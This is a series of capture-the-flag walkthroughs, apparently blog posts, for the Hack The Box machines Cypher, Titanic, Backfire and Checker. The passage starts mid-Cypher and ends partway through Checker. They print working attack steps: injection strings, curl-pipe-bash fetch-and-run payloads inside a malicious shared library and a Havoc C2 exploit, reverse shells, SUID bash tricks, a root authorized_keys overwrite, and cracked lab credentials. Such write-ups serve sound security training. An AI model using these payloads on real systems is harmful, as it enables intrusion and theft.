Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 20 11:50:37 2025 -- 1 IP address (1 host up) scanned in 921.53 seconds
β”Œβ”€[dark@parrot]─[~/Documents/htb/cypher]
└──╼ $

Analysis:

  • 22/tcp (SSH): OpenSSH 8.2p1 running, indicating potential remote access with valid credentials.
  • 80/tcp (HTTP): Apache web server, likely hosting a web application for further enumeration.

Web Enumeration:

I performed directory enumeration on the web server using Gobuster

gobuster dir -u http://cypher.htb -w /opt/common.txt

Gobuster Output:

Analysis:

  • The web interface revealed a β€œTry out free demo” button redirecting to /login/.
  • The /api/docs directory was inaccessible or empty.
  • A .jar file was found in /testing/, which seemed unusual and warranted further investigation.

The website interface looks something as shown above

Inspecting the login page at /login/ revealed a form.

In this example, the application builds a database query by directly inserting the username and password the user enters into the query string. Because the system does not properly check or clean these inputs, an attacker can insert special characters or code that changes the query’s intended behaviour. This lack of input validation creates a Cypher injection vulnerability.

Here’s a simplified version of the vulnerable code:

def verify_creds(username, password):
    cypher = f"""
    MATCH (u:USER) -[:SECRET]-> (h:SHA1)
    WHERE u.name = '{username}' AND u.password = '{password}'
    RETURN h.value AS hash
    """
    results = run_cypher(cypher)
    return results

Here, the username and password Values are inserted directly into the Cypher query string without any validation or escaping. This allows an attacker to inject malicious Cypher code by crafting special input, leading to a Cypher injection vulnerability.

No content found in the /api/docs directory.

A JAR file was located in the /testing/ directory, which appeared suspicious or out of place.

Static Analysis of JAR File Using JADX-GUI on Cypher machine

Examine the JAR file by opening it with jadx-gui.

The Code Walkthrough (Simplified)

The Function Setup

@Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)<br>public Stream<StringOutput> getUrlStatusCode(@Name("url") String url)<span style="background-color: initial; font-family: inherit; font-size: inherit; text-align: initial;">

This creates a special function that anyone can call from the database. It’s like putting up a sign that says β€œRing this bell and I’ll check any website for you!” The problem is, no security guard is checking who is ringing the bell or what they’re really asking for.

The Weak Security Check

if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) {
    url = "https://" + url;
}

The so-called β€˜security’ in place is like a bouncer who only checks if you’re wearing shoes before letting you into a club. As long as you have shoes on, you’re allowed inβ€”never mind the fact that you’re holding a crowbar and carrying a bag labeled β€œSTOLEN GOODS.”

The Dangerous Command

String[] command = {"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url};

The real issue arises when the system takes the user-provided URL and passes it straight to the computer as-is, saying, β€œExecute this exactly as the user entered it.” There’s no validation or filtering, which makes it easy for attackers to sneak in malicious commands.

Exploitation

Web Application Exploration:

Analyse the login page’s packet by intercepting it, which returns an invalid credentials response.

Review the error that occurred after entering a Cypher injection into the username field.

Cypher Injection on Cypher Machine

Cypher injection happens when an application doesn’t properly check what you type into a login form or search box before sending it to the database. Think of it like filling out a form at a bank: instead of just writing your name, you also add a note telling the bank to open the vault. If the bank employee doesn’t read carefully and just follows the instructions, you could get access to things you shouldn’t.

In the same way, attackers can type special commands into a website’s input fields. If the website passes those commands straight to the database without checking, attackers can trick it into revealing private data or even taking control of the system.

Cypher Injection Verification and Exploitation Steps

This query tries to find a user node labeled USER with the name β€˜test’ OR 1=1//β€˜ and then follows the SECRET relationship to get the related SHA1 node. It returns the value property from that SHA1 node as hash. The extra single quote after β€˜testβ€˜ likely causes a syntax error, which may be why the injection triggers an error.

Analyze the next step by modifying the payload to avoid syntax errors and bypass filters.

Analyze the network traffic by executing tcpdump.

Start by testing with the ping command to check for command execution.

We received an immediate response, confirming that the command was successfully executed.

Set up a Python HTTP server to test for outbound connections from the target system.

Attempt to fetch a file that doesn’t exist on the target system to observe the error behaviour.

The attempt was successful, confirming that the system executed the command and reached out as expected.

Start a listener on your machine to catch any incoming reverse connections from the target system.

Call the shell.sh file from your machine, and observe that the request hangs, indicating that the payload was likely executed and the reverse shell is in progress.

The shell.sh file was successfully transferred, confirming that the target system was able to fetch and process the file.

We have successfully gained access as the neo4j user on the target system.

Check the neo4j user’s home directory for any configuration files, databases, or credentials that could aid further exploitation.

The neo4j directory does not contain any files of interest.

A password was found in the .bash_history file.

Start the Neo4j service by using the cypher-shell command.

We successfully retrieved the hashes.

Access attempt as graphasm failed.

However, access is graphasm succeeded through the SSH or pwncat-cs service.

We successfully obtained the user flag.

Escalate to Root Privileges Access

Privilege Escalation:

The sudo -l command reveals the presence of the bbot binary with elevated privileges.

Executing sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run returns the root flag.

A screen shot of a computer AI-generated content may be incorrect.

The bbot_present.yaml file contains important configuration details. It specifies the target as ecorp.htb and sets the output directory to /home/graphasm/bbot_scans. Under the configuration section, the Neo4j module is configured with the username neo4j and the password cU4btyib.20xtCMCXkBmerhK.

The dark.yml file specifies the module_dirs configuration with a directory path set to ["/home/graphasm"]. This indicates where the system will look for custom modules to load.

In the dark.py script, which imports BaseModule from bbot.modules.base, there is a class named dark that runs the command chmod +s /bin/bash through os.system(). This command changes the permissions of /bin/bash to set the setuid bit, allowing anyone to execute the shell with root privileges, posing a serious security risk.

First, check if /bin/bash has the SUID bit set. Look for an s in the user’s execute position (e.g., -rwsr-xr-x); this indicates it’s a SUID binary. If you don’t see it, the setuid bit isn’t set.

Execute the command to run bbot with the specified configuration and module

This runs the dark module using the settings from /home/graphasm/dark.yml, forcing execution with the --force flag.

Another way to gain root access is by executing the reverse shell with root privileges.

We have successfully received a reverse shell connection back to our machine.

The post Hack The Box: Cypher Machine Walkthrough – Medium Difficultyy appeared first on Threatninja.net.

Hack The Box: Titanic Machine Walkthrough – Easy Difficulty

βœ‡Threatninja.net
By: darknite
21 June 2025 at 10:58
Reading Time: 8 minutes

Introduction to Titanic

In this write-up, we will explore the Titanic machine from Hack The Box, categorised as an Easy difficulty challenge. This walkthrough will cover reconnaissance, exploitation, and privilege escalation steps required to capture the user and root flags.

Objective on Titanic

The goal of this walkthrough is to complete the Titanic machine from Hack The Box by achieving the following objectives:

User Flag

We obtained the user flag by exploiting a directory traversal vulnerability in the web application’s download endpoint. This allowed us to access the Gitea configuration file and database, from which we extracted and cracked the developer user’s password hash. Using the credentials, we gained SSH access as the developer user and retrieved the user.txt flag.

Root Flag

Privilege escalation to root involved exploiting a vulnerable ImageMagick version (CVE-2024-41817) in a script that processed files in a writable directory. By crafting a malicious shared library, we executed arbitrary commands to copy the root flag to a readable location. Additionally, we discovered the developer user had unrestricted sudo privileges, providing an alternative path to root access and the root.txt flag.

Enumerating the Machine

Reconnaissance: Nmap Scan

We begin by scanning the target to identify open ports and services using Nmap:

nmap -sSCV -p- --min-rate 10000 10.10.11.55 -oN nmap_initial.txt

Nmap Output:

β”Œβ”€[dark@parrot]─[~/Documents/htb/titanic]
└──╼ $nmap -sC -sV -oA initial 10.10.11.55
# Nmap 7.94SVN scan initiated Wed Jun 18 11:46:00 2025 as: nmap -sC -sV -oA initial 10.10.11.55
Nmap scan report for 10.10.11.55
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 18 11:46:33 2025 -- 1 IP address (1 host up) scanned in 33.24 seconds

Analysis:

  • 22/tcp (SSH): Potential foothold via credentialed access or post-exploitation pivot through OpenSSH 8.9p1.
  • 80/tcp (HTTP): Primary attack surface β€” Titanic Booking System web app may expose vulnerabilities for initial compromise.

Web Enumeration on Titanic Machine

Web Application Exploration

A screenshot of a website AI-generated content may be incorrect.

Visiting http://titanic.htb displays a booking form on the main page.

A screenshot of a computer AI-generated content may be incorrect.

Let’s proceed to book our trip using the form shown above.

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The screenshot above shows the request and response captured in Burp Suite.

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I noticed that in the previous response packet, there was a /download?ticket=*.json file, which provided information about the earlier booking

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Testing the endpoint revealed it is vulnerable to directory traversal, allowing access to sensitive files such as /etc/passwd

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We were also able to retrieve the user.txt file using this method.

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We can also access the /etc/hosts file, which reveals an additional subdomain.

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By exploiting the directory traversal vulnerability through the request
http://titanic.htb/download?ticket=../../../home/developer/gitea/data/gitea/conf/app.ini,
We successfully retrieved the Gitea configuration file (app.ini), which disclosed the path to the database located at /home/developer/gitea/data/gitea/gitea.db

A screenshot of a computer screen AI-generated content may be incorrect.

We located the database at the path revealed above

Let’s retrieve the database.

The hashes can be viewed in DB Browser for SQLite, where I found only two users with hashes stored.

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do
  digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64)
  salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64)
  name=$(echo "$data" | cut -d'|' -f3)
  echo "${name}:sha256:50000:${salt}:${digest}" >> gitea.hash
done

We extract and format them for cracking

Each line contains a scrambled version of a user’s password. The system uses a method called SHA256 and scrambles the password 50,000 times to make it tougher for anyone to guess. The hash format will resemble the example shown above.

To figure out the actual password, we use a tool named Hashcat. It tries lots of different passwords, scrambles them the same way, and checks if any match the scrambled version we have. When it finds a match, that means it has discovered the original password.

Understanding PBKDF2-SHA256: How Passwords Are Securely Protected

The cracked hash belongs to the developer account. The password is protected using something called PBKDF2-SHA256 with 50,000 rounds. That means the password is scrambled and mixed up 50,000 times to make it really hard for anyone to guess or crack it quickly. This process slows down attackers a lot, so even if they try many passwords, it takes a long time to check each one. It’s a way to keep passwords safe and secure.

After a period of processing, the hash was successfully cracked.

The successfully cracked hash corresponds to the developer account.

A computer screen with green text AI-generated content may be incorrect.

With the credentials, we establish an SSH connection

A computer screen with text AI-generated content may be incorrect.

We can retrieve the user flag by executing the command above.

Escalate to Root Privileges Access on Titanic Machine

Privilege Escalation

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As a standard practice, we check for binaries with elevated privileges by running sudo -l. Sadly, we did not find any binaries with elevated privileges.

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Additionally, the process list (ps -ef) did not reveal any useful information.

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We proceed to enumerate the contents of the /opt directory.

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During system enumeration, we identified a script located at /opt/scripts/identify_images.sh that utilises ImageMagick to process files within /opt/app/static/assets/images/, a directory writable by the developer user. Verification of the ImageMagick version confirmed it is susceptible to CVE-2024-41817, a vulnerability that enables arbitrary code execution through malicious shared libraries.

CVE-2024-41817 Explained: How ImageMagick’s Flaw Enables Code Execution

CVE-2024-41817 is a critical vulnerability found in certain versions of ImageMagick, a widely used image processing software. This flaw allows attackers to execute arbitrary code on the system by tricking ImageMagick into loading malicious shared libraries during image processing. Exploiting this vulnerability can lead to full system compromise, especially if the software runs with elevated privileges or processes files in writable directories.

A computer screen with green and blue text AI-generated content may be incorrect.

The script identify_image.sh failed to write to metadata.log due to insufficient permissions (Permission denied on line 3).

I discovered that ImageMagick is installed on the target machine. ImageMagick is a free, open-source software suite widely used for editing and manipulating digital images. It enables users to create, edit, compose, or convert bitmap images and supports numerous file formats, including JPEG, PNG, GIF, TIFF, and Ultra HDR.

A computer screen with green text AI-generated content may be incorrect.

I identified that ImageMagick version 7.1.1-35 is installed on the machine. I researched known vulnerabilities for this specific version and discovered it is affected by CVE-2024-41817.

CVE-2024-41817 impacts ImageMagick β€” a free, open-source software suite for editing and manipulating digital images. The vulnerability arises in the AppImage version, where ImageMagick may use an empty path when setting the MAGICK_CONFIGURE_PATH and LD_LIBRARY_PATH environment variables during execution. This flaw can allow an attacker to execute arbitrary code by loading malicious configuration files or shared libraries from the current working directory.

A computer code with green text AI-generated content may be incorrect.

After some time, we crafted a bash reverse shell command.

A screenshot of a video AI-generated content may be incorrect.

After that, we started a listener to capture the incoming reverse shell connection.

A computer screen with green text AI-generated content may be incorrect.
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
    system("curl <ip>/<file> | bash");
    exit(0);
}
EOF

We can invoke the file and execute it using bash.

A computer screen with text and numbers AI-generated content may be incorrect.

The Python server confirmed that the file transfer was successful.

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The operation completed successfully.

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We can retrieve the root flag by executing the command above.

The post Hack The Box: Titanic Machine Walkthrough – Easy Difficulty appeared first on Threatninja.net.

Hack The Box: Backfire Machine Walkthrough – Medium Difficulty

βœ‡Threatninja.net
By: darknite
7 June 2025 at 11:15
Reading Time: 10 minutes

Introduction to Backfire:

In this write-up, we will explore the β€œBackfire” machine from Hack The Box, categorised as a Medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the β€œBackfire” machine from Hack The Box by achieving the following objectives:

User Flag:

We obtained the user flag by exploiting two vulnerabilities in the Havoc C2 framework. First, we leveraged a Server-Side Request Forgery (SSRF) vulnerability (CVE-2024-41570) to interact with internal services.. This was chained with an authenticated Remote Code Execution (RCE) vulnerability, allowing execution of arbitrary commands and gaining a reverse shell as the ilya user. To maintain a more stable connection, SSH keys were generated and authorised, which provided reliable access to the system and allowed for the retrieval of the user.txt flag.

Root Flag:

Privilege escalation to root involved targeting the Hardhat C2 service. Using a Python script, we forged a valid JWT token to create a new administrative user. This access allowed us to obtain a reverse shell as the sergej user. Upon further examination, it was discovered that sergej it had sudo privileges on the iptables-save binary. This was abused to overwrite the /etc/sudoers file, granting full root access. With root privileges, the root.txt flag was successfully retrieved.

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.11.49

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/backfire]
└──╼ $nmap -sC -sV -oA initial 10.10.11.49
# Nmap 7.94SVN scan initiated Tue May 20 16:24:16 2025
Nmap scan report for 10.10.11.49
Host is up (0.18s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4
| ssh-hostkey: 256 ECDSA and ED25519 keys
443/tcp  open  ssl/http nginx 1.22.1
|_http-server-header: nginx/1.22.1
| tls-alpn: http/1.1, http/1.0, http/0.9
|_http-title: 404 Not Found
| ssl-cert: CN=127.0.0.1, O=TECH CO, ST=Colorado, C=US
| Valid: 2024-12-09 to 2027-12-09
8000/tcp open  http     nginx 1.22.1
|_http-title: Index of /
| http-ls: Volume / with disable_tls.patch and havoc.yaotl files
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The output above clearly shows the open ports.

Analysis:

  • 22/tcp (SSH): This port is running OpenSSH 9.2p1 on Debian 12. Although no credentials are currently available, it could later serve as a valuable post-exploitation entry point once initial access is established.
  • 443/tcp (HTTPS): On the other hand, this port runs Nginx with a self-signed certificate issued for 127.0.0.1. Because it returns a 404 error, it is likely intended for internal use or is misconfigured. Therefore, it may be useful for SSRF exploitation or internal routing if accessible.
  • 8000/tcp (HTTP): Most notably, this port reveals a directory listing containing two files: disable_tls.patch and havoc.yaotl. These files are likely related to the Havoc C2 framework. Additionally, Nmap indicates potential open proxy behavior, which could be leveraged for internal access or lateral movement.

Web Enumeration on Backfire Machine:

Web Application Exploration:

Opening the IP in the browser simply displays a 404 error from Nginx, with no useful information on the main page.

The files havoc.yaotl and disable_tls.patch is available for download. Let’s examine their contents to understand their relevance.

The disable_tls.patch file removes encryption from the Havoc C2 WebSocket on port 40056, switching from secure (wss://) to insecure (ws://) communication. A comment suggests someone framed Sergej as inactive, claiming local-only access made the change safe. Although it may seem beneficial in theory, in practice, it significantly undermines internal security. Moreover, such behaviour could potentially indicate deliberate sabotage.

This configuration sets up a control server running only on the local machine (127.0.0.1) using port 40056. It defines two users, β€œilya” and β€œsergej,” each with their passwords. The system frequently runs background tasks every few seconds. Additionally, the system uses Windows Notepad as a placeholder program during certain operations. Furthermore, it listens for incoming connections securely on port 8443; however, it accepts connections only from the local machine. Consequently, the environment remains tightly controlled.

What is Havoc?

Cybersecurity teams use Havoc to test and improve security. As a result, it helps teams control computers they’ve gained access to during testing by sending commands and, in turn, receiving information back.. Created and maintained by Paul Ungur (C5pider).

It has two parts:

  • The Teamserver acts like a central hub, managing all connected computers and tasks. It usually runs on a server accessible to the team.
  • The Client is the user interface where the team controls everything and sees the results.

Exploitation on the Backfire machine

Create a reverse shell script (e.g., shell.sh), using any filename of your choice.

Initiate the listener to await incoming connections.

Download the exploit script to your machine using the link here

Launch the Python HTTP server to serve the necessary files.

The script imports required libraries and disables urllib3 warnings. It defines a decrypt() function that pads the key to 32 bytes and decrypts data using AES CTR mode.

Backfire Machine Source Code Architecture & CVE-2024-41570 Overview

A WebSocket payload simulates a listener heartbeat for the C2 server:

pythonCopyEdit<code>payload = { ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

To execute commands, an injection string fetches and runs a shell script:

pythonCopyEdit<code>cmd = "curl http://<IP>:<PORT>/payload.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

This injection is inserted into the Service Name field within another JSON payload. The system serialises the payload, frames it, and sends it via WebSocket.

pythonCopyEdit<code>payload = { ... "Service Name": injection, ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame)
response = read_socket(socket_id)

This exploits a command injection vulnerability, enabling remote code execution.

This Python script demonstrates a remote code execution (RCE) exploit targeting a vulnerable Havoc C2 server. It mimics a legitimate agent registering with the server, establishes a socket connection, and communicates over WebSocket using Havoc’s internal protocol.

The script first injects a malicious payload into the server configuration by exploiting weak input handling. As a consequence of the vulnerability, it can execute arbitrary shell commands on the Teamserver. This, in turn, may allow an attacker to gain full control over the system.

We created a payload that fetches and runs a shell script using curl. The command is injected into the Service Name field to trigger remote code execution on the target system.

pythonCopyEdit<code>cmd = "curl http://10.10.14.132/shell.sh | bash"
injection = """ \\\\\\\" -mbla; """ + cmd + """ 1>&2 && false #"""

First, this injection is placed inside a JSON object, which is then converted into a WebSocket frame. After that, we send the crafted payload over an existing socket connection to the server.

pythonCopyEdit<code>payload = { ... }
payload_json = json.dumps(payload)
frame = build_websocket_frame(payload_json)
write_socket(socket_id, frame, message)

The payload exploits a weakness in how the server handles service names, giving us remote code execution.

This command downloads and runs a shell script from the attacker’s machine, effectively granting remote access. The code serialises the payload to JSON, wraps it in a WebSocket frame, and sends it to the server over an established socket, bypassing standard defences and triggering code execution within the server context.

A specially crafted WebSocket request triggers the RCE vulnerability. Next, the following command demonstrates how to run the exploit:

python3 exploit.py --target https://backfire.htb -i 127.0.0.1 -p 40056

Why This Exploit Targets Port 40056

Port 40056 is the Havoc Teamserver’s listening port. Targeting it lets you reach the internal WebSocket service that handles commands, enabling remote code execution through the vulnerability.

We completed the file transfer as demonstrated above.

We successfully established a reverse shell connection back to us.

The user flag can be retrieved by executing the command cat user.txt.

Escalate to Root Privileges Access on Backfire Machine

Privilege Escalation:

A message found on the target indicates that Sergej installed HardHatC2 for testing and left the configuration at its default settings. It also humorously suggests a preference for Havoc over HardHatC2, likely to avoid learning another C2 framework. The note ends with a lighthearted remark favouring Go over C#, hinting at the author’s language preference.

Since the reverse shell kept dropping, we had to switch over and continue access via SSH instead.

Created an SSH key ssh-keygen and added the public key to backfireβ€˜s authorized_keys to gain access without relying on an unstable reverse shell.

Above is a screenshot showing the backfire.pub file, which we can transfer by copying it directly to the target machine.

This method demonstrates how to paste the file onto the target machine.

The SSH key id_rsa is unexpectedly resulting in a β€œpermission denied (publickey)” error.

Accordingly, we will generate the SSH key directly on the victim’s machine.

You can extract the key from the victim’s machine and securely transfer it to our system.

Initially, we attempted to access the machine via SSH; however, it requires ED25519 key authentication.

We will generate the id_ed25519 public key and set its permissions to 600.

The key is added to the victim’s machine.

Therefore, we can gain SSH access using the id_ed25519 key.

Unfortunately, no SUID binaries are accessible since they require a password, which we do not possess.

Port-Forwarding the port

After further inspection, we identified several open ports; notably, ports 7096 and 5000 drew particular attention due to their potential relevance.

Although both ports 5000 and 7096 appear filtered according to the Nmap scan, we will attempt port forwarding to probe their accessibility from the internal network.

Accessing port 5000 yielded no visible response or content.

Accessing the service on Port 7096 requires credentials, which are currently unavailable.

We successfully created a user account with the username and password set to β€˜dark’.

Successfully accessed the HardHat C2 dashboard.

A screen shot of a computer AI-generated content may be incorrect.

Navigate to the β€˜Terminalβ€˜ tab within the implantInteract section.

A black screen with orange lines AI-generated content may be incorrect.

We can perform a test by executing the id command.

Surprisingly, it worked flawlessly.

Add the SSH id_ed25519 public key to Sergej’s authorized_keys file to enable secure access.

Impressive! The operation was successful.

A screenshot of a computer program AI-generated content may be incorrect.

Finally, we have successfully accessed Sergej’s account using the SSH id_ed25519 key.

A computer screen with green text AI-generated content may be incorrect.

Once logged in through SSH, run sudo -l to identify which commands can be executed with elevated privileges. It shows that sudo users have permission to run iptables and iptables-save.

A computer screen with green text AI-generated content may be incorrect.

This method takes advantage of how line wrapping works in command comments to inject an SSH key with root privileges. By adding a specially crafted comment containing the SSH key to an iptables rule and then exporting the rules to the root user’s authorized_keys file, you can grant SSH access as root:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 ssh key\n'
sudo iptables-save -f /root/.ssh/authorized_keys
A black screen with green text AI-generated content may be incorrect.

We successfully gained root access using the SSH id_ed25519 key.

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The root flag can be retrieved by executing the command cat root.txt.

The post Hack The Box: Backfire Machine Walkthrough – Medium Difficulty appeared first on Threatninja.net.

Hack The Box: Checker Machine Walkthrough – Hard Difficulty

βœ‡Threatninja.net
By: darknite
31 May 2025 at 10:58
Reading Time: 10 minutes

Introduction to Checker:

In this write-up, we will explore the β€œChecker” machine from Hack The Box, categorised as a Hard difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective of Checker:

The goal of this walkthrough is to complete the β€œChecker” machine from Hack The Box by achieving the following objectives:

User Flag:

We exploited CVE-2023-1545 in the Teampass application to extract password hashes and cracked them to obtain credentials for the user β€œbob.” These credentials allowed access to both the BookStack web application and SSH. We then exploited CVE-2023-6199 in BookStack to read the OTP secret for the SSH user β€œreader,” enabling successful login and retrieval of the user flag.

Root Flag:

We discovered that the β€œreader” user had sudo privileges to run a script that interacted with shared memory. By analysing the script behaviour and injecting a command into the shared memory segment, we were able to set the SUID bit on /bin/bash. This grants root privileges, allowing us to read the root flag

Enumerating the Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine. 

nmap -sC -sV -oN nmap_initial.txt 10.10.11.56

Nmap Output: 

β”Œβ”€[dark@parrot]─[~/Documents/htb/checker]
└──╼ $nmap -sV -sC -oA initial 10.10.11.56 
# Nmap 7.94SVN scan initiated Thu May 29 00:05:33 2025 as: nmap -sV -sC -oA initial 10.10.11.56
Nmap scan report for 10.10.11.56
Host is up (0.23s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 aa:54:07:41:98:b8:11:b0:78:45:f1:ca:8c:5a:94:2e (ECDSA)
|_  256 8f:2b:f3:22:1e:74:3b:ee:8b:40:17:6c:6c:b1:93:9c (ED25519)
80/tcp   open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
8080/tcp open  http    Apache httpd
|_http-server-header: Apache
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 29 00:06:28 2025 -- 1 IP address (1 host up) scanned in 55.98 seconds

Analysis:

  • Port 22 (SSH): OpenSSH 8.9p1 is running, providing secure remote shell access. This is typical for administrative management over the network.
  • Port 80 (HTTP): Apache web server is active but responds with a 403 Forbidden status, indicating that access to the root web directory is denied or restricted.
  • Port 8080 (HTTP): Another instance of Apache is running on this alternative HTTP port, also returning a 403 Forbidden response, which could hint at restricted access to a secondary web application or interface.

Web Enumeration on Checker machine:

Perform web enumeration to discover potentially exploitable directories and files.

gobuster dir -u http://checker.htb:8080 -w /opt/raft-small-directories-lowerrcase.txt

Gobuster Output:

During the enumeration process, we observed that the server returns a 403 Forbidden status code along with a consistent response length (199 bytes) for URLs that do not exist. This uniform response can interfere with the accurate detection of valid endpoints, as it mimics the behaviour of non-existent pages. To proceed effectively, we should configure our tool to exclude responses with this status code or length to reduce false positives.

Analysis:

During the enumeration phase, more than 20 directories were discovered, although only a portion is listed here due to space limitations. Each of the directories responded with a 429 status code, indicating the server is applying rate-limiting measures, likely to deter aggressive or automated scanning. Some of the identified directories, such as /app, /report, /store, and /db could potentially relate to application logic, data storage, or admin interfaces. This behaviour suggests the underlying application might be sensitive to traffic volume, so further inspection should be paced to avoid triggering additional restrictions.

A screenshot of a computer AI-generated content may be incorrect.

Accessing the website via 10.10.11.56 redirects us to the domain β€˜checker.htbβ€˜.

A screenshot of a computer AI-generated content may be incorrect.

We discovered that the application in use is BookStack. Unfortunately, we didn’t have any valid credentials to log in to BookStack at this stage.

What is BookStack?

BookStack is a free and open-source platform used to create and manage documentation or internal knowledge bases. Think of it like a digital bookshelf where each book contains pages of organised information. Teams or companies commonly use it to store guides, manuals, and notes in a user-friendly way, similar to how you’d organise content in a physical notebook, but online and searchable.

On port 8080, we were presented with the Teampass login page.

What is TeamPass?

Teampass is a web-based password management system designed for teams and organisations. It helps securely store and share login credentials, such as usernames and passwords, in a single, central location. Instead of keeping sensitive information in unprotected files or messages, Teampass allows team members to access and manage passwords through a secure, organised interface. This makes collaboration safer and more efficient, especially when multiple people need access to the same accounts or systems.

To gain a better understanding of the Teampass application, we analysed its source code available on GitHub.

One of the files caught my attention and warranted a deeper analysis.

This script is a setup routine for Teampass, designed to run when the application first starts. It checks if the Teampass code has already been initialised (by looking for a .git folder). If not, it pulls the necessary files from a remote repository, prepares directories needed for logs and encryption keys, and sets file permissions so the web server (nginx) can use them. Then, it checks if the main configuration file exists. If the file is missing, the script prompts the user to open Teampass in a web browser to complete the setup. Finally, it hands over control to start the application.

Another file that caught our attention is readme.md, which reveals the version of Teampass being usedβ€”version 3.

So, let’s investigate any exploits or vulnerabilities related to Teampass version 3.

Exploitation

Exploitation of CVE-2023-1545 in the Teampass Application

We can download the source code from GitHub onto our machine.

Additional reference: Snyk Security Advisory – SNYK-PHP-NILSTEAMPASSNETTEAMPASS-3367612, which provides detailed information regarding the identified vulnerability in the Teampass application.

I renamed the file to poc.py and executed it, which revealed usernames along with their hashes.

We need to specify the appropriate hash mode.

After some time, we successfully retrieved the passwords from the hashes, including one for the user β€œbob” with the hash $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy, which corresponded to the password β€œcheerleader.”

Let’s use the credentials we discovered earlier to log in to Teampass.

A screenshot of a computer AI-generated content may be incorrect.

There is access for the user β€œbob,” which allows login to both BookStack and SSH.

For BookStack, the login details are username bob@checker.htb with the password mYSeCr3T_w1kI_P4sSw0rD.

A screenshot of a computer AI-generated content may be incorrect.

For SSH access, the username is reader and the password is hiccup-publicly-genesis.

We attempted to access the system as Bob via SSH, but the login failed with the error message: β€œOperation not permitted” while writing the config.

BookStack Enumeration

A screenshot of a login screen AI-generated content may be incorrect.

Let’s log into the BookStack dashboard using the Bob credentials we obtained earlier.

A screenshot of a computer AI-generated content may be incorrect.

The book contains three essays, including one titled β€œBasic Backup with cp” that provides a file path. Since this machine is played with other players, I also noticed additional files like β€œExploit,” β€œaaa,” and β€œHTML” under the recently viewed section.

A screenshot of a computer AI-generated content may be incorrect.

The other two articles do not contain any important information. This script seems significant because the destination path is unusual, and often the author hides clues in such details.

#!/bin/bash
SOURCE="/home"
DESTINATION="/backup/home_backup"

A version number is indicated in the URL:

http://checker.htb/dist/app.js?version=v23.10.2

Exploiting CVE-2023-6199 in BookStack v23.10.2: Leveraging Blind SSRF for Local File Read

We can obtain the source code from here.

Navigate to BookStack and create a new draft page as a Bob user.

Use Burp Suite to intercept the HTTP request when saving the draft page.

In Burp Suite, change the intercepted request body to x-www-form-urlencoded format instead of JSON

The intercepted request will appear in JSON format, similar to the screenshot above

Exploiting PHP Filter Chain Oracle to Read Arbitrary Files

We need to retrieve a copy of the script and save it to our local machine for further analysis.

We can execute the script shown earlier.

The screenshot above displays the result of the executed command.

The code shown above is the original version.

Include the following commands into the script:

import base64
encoded_data = base64.b64encode(filter_chain.encode('utf-8'))
encoded_string = encoded_data.decode('utf-8')
encoded_string = "<img src='data:image/png;base64,{}'>".format(encoded_string)
merged_data = { "name": "dark", "html": encoded_string }

It works because we successfully retrieved the contents of the /etc/passwd file.

We retrieved the TOTP authentication secret stored within the Google Authenticator.

We extracted the OTP from the script above, noting that it is time-sensitive and expires quickly.

A computer screen with green text AI-generated content may be incorrect.

However, it still did not succeed.

Let’s use ntpdate to synchronise the system time.

A computer screen with numbers and text AI-generated content may be incorrect.

You can view the user flag by running the command cat user.txt.

Escalate to Root Privileges Access on the checker machine

Privilege Escalation:

Review and confirm the sudo permissions granted to the reader user.

A computer screen with green text AI-generated content may be incorrect.

